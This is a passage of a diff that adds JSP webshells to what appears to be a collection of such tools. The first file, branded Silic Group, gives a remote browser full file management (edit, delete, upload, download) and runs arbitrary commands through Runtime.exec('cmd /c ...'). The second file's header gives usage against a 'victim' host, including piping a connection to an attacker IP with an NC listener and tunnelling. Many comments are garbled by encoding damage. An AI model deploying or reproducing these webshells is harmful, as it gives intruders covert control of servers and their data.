}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html><head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script type="text/javascript">
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var previoustab=""
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<title>::Silic Group::</title>
|
||||||
|
<head>
|
||||||
|
<body>
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
<li><a href="http://www.blackbap.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
null
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br><p>˵<><CBB5></p><p>Recoding by Juliet From:<a href="http://blackbap.org">Silic Group Inc.</a></p>
|
||||||
|
</div>
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"><tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"><%=sbFolder%></tr></table></td><td width="81%" align="left" valign="top">
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
</table></span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%></td></tr>
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV></div>
|
||||||
|
<center>All Rights Reserved, <a href="http://blackbap.org" target="_blank">blackbap.org</a> © Silic Group Inc.</center>
|
||||||
814
net-friend/jsp/spjspshell.jsp
Normal file
814
net-friend/jsp/spjspshell.jsp
Normal file
@@ -0,0 +1,814 @@
|
|||||||
|
<%
|
||||||
|
/*
|
||||||
|
* WEBSHELL.JSP
|
||||||
|
*
|
||||||
|
* Author: lovehacker
|
||||||
|
* E-mail: wangyun188@hotmail.com
|
||||||
|
*
|
||||||
|
* ʹ<>÷<EFBFBD><C3B7><EFBFBD>:
|
||||||
|
* ]http://victim/webshell.jsp?[options]
|
||||||
|
* options:
|
||||||
|
* action=piped&remoteHost=&remotePort=&myIp=&myPort=
|
||||||
|
* action=tunnel&remoteHost=&remotePort=&myPort=
|
||||||
|
* action=login&username=&password=&myPort=
|
||||||
|
* action=send&myShell=&myPort=&cmd=
|
||||||
|
* action=close&myPort=
|
||||||
|
* action=shell&cmd=
|
||||||
|
* <20><><EFBFBD>ӣ<EFBFBD>
|
||||||
|
* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- <20><>192.168.0.1<EFBFBD><EFBFBD>25<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD>218.0.0.1<EFBFBD><EFBFBD>12345<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NC<EFBFBD><EFBFBD><EFBFBD><EFBFBD>12345<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><EFBFBD>Ƶ<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӡ<EFBFBD>
|
||||||
|
* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- ʵ<><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ʸ<EFBFBD>webshell.jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD>telnet<65><74><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><C4B9>ܡ<EFBFBD><DCA1><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>webshell.jspʵ<70>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵĹ<CAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD>jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƵĻ<C6B5><C4BB><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD>80<38>˿ڣ<CBBF><DAA3><EFBFBD><EFBFBD>ҷ<EFBFBD><D2B7><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Internet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַdz<D6B7><C7B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Telnet<65><74><EFBFBD><EFBFBD>:-)
|
||||||
|
* action=login&username=root&password=helloroot&myPort=65534 -- <20><>һ<EFBFBD><D2BB>ֻ<EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>ҪTelnet<65><74>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ſ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>Ҫtelnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ร<EFBFBD>Ҫ<EFBFBD><D2AA>Ȼ˭Ҳû<D2B2>취<EFBFBD><ECB7A8>
|
||||||
|
